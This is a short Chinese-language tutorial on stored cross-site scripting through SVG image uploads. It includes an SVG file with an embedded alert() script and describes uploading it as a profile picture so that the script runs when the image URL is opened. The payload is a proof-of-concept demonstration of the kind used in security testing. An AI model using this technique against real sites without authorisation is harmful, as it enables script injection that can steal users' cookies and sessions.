介绍
跨站点脚本(XSS)是一个非常常见的漏洞,涉及在网页中注入javascript代码。从窃取用户Cookie到通过CORS绕过SOP,此漏洞可用于执行各种操作。有许多方法可以定位XSS漏洞,通常会忽略SVG文件。
SVG文件
可缩放矢量图形(SVG)是用于二维图形的基于XML的矢量图像格式,并支持交互性和动画。
以下代码是基本SVG文件的示例,该文件将显示矩形图片:
<svg width="400" height="110">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
</svg>
SVG文件还支持嵌入式javascript代码。例如,开发人员可能在svg图像中使用javascript,以便他们可以实时进行操作。这可以用于动画和其他任务。
要注意的另一件事是,SVG文件可以视为HTML中的图像。这意味着您可以将SVG文件放置在图像标签中,并且可以完美呈现:
<img src="rectangle.svg" alt="Rectangle" height="42" width="42">
Xss Payload
如果网站使用XSS有效负载加载SVG文件,则将执行该文件。开发人员和攻击者都经常忽视这一点。以下是带有警报XSS有效负载的SVG文件示例:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert("SVG XSS");
</script>
</svg>
测试此漏洞的一种简单方法是上传SVG文件作为您的个人资料图片,如以下请求所示:
注意内容类型设置为:
Content-Type: image/svg+xml
上传图像后,您只需找出图像上载到的路径即可。如果您使用的是Google chrome,则可以通过右键单击图片并选择“复制图片地址”来轻松完成此操作。如果在查看图像时一切正常,则将执行有效负载。您只是通过SVG文件存储了XSS。